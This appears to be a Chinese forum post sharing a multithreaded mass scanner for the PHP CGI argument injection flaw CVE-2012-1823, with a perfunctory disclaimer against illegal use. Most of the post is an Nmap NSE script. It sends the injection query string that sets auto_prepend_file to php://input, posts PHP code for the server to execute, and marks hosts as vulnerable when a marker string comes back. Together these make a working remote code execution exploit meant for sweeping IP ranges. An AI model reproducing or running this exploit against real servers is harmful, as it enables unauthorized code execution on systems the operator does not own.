|
(请不要用于非法,否则后果自负)。
使用多线程,速度还不错。
支持IP格式
单IP: 10.1.1.
IP段:10.1.1.1-255
子网掩码:10.10.1.1/16
如果发现存在漏洞的IP,会在程序当前目录下生成一个report.txt。没有漏洞则不生成文件.
NSE脚本如下:- local http=require "http"
- local shortport = require "shortport"
- local vulns = require "vulns"
- descripton=[[
- PHP CGI Argument Injection Exploit]]
- author="m0zh3"
- license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
- categories={"exploit","vuln"}
- -- The Rule Section --
- portrule = shortport.http
- -- The Action Section --
- local path ="/?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+-d+disable_functions%3D%22%22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi%2Eforce_redirect%3D0+-d+cgi%2Eredirect_status_env%3D0+-n"
- local payload = "<?php echo " .. ""m00zh33"" .. ";die();?>"
- local status
- local function exploit(host, port)
- local ret = http.post(host,port,path,nil,nil,payload)
- local body = string.lower(ret.body)
- for s in string.gmatch(body,"m00zh33") do
- status = "yes"
- end
- end
- action = function(host, port)
- local vuln_table = {
- title = "CVE-2012-1823",
- reference = "http://www.exploit-db.com/exploits/18836/"}
- local report = vulns.Report:new(SCRIPT_NAME, host, port)
- vuln_table.state = vulns.STATE.NOT_VULN
- exploit(host,port)
- stdnse.print_debug(status)
- if status == "yes" then
- vuln_table.state = vulns.STATE.VULN
- end
- return report:make_output(vuln_table)
- end
复制代码 |
|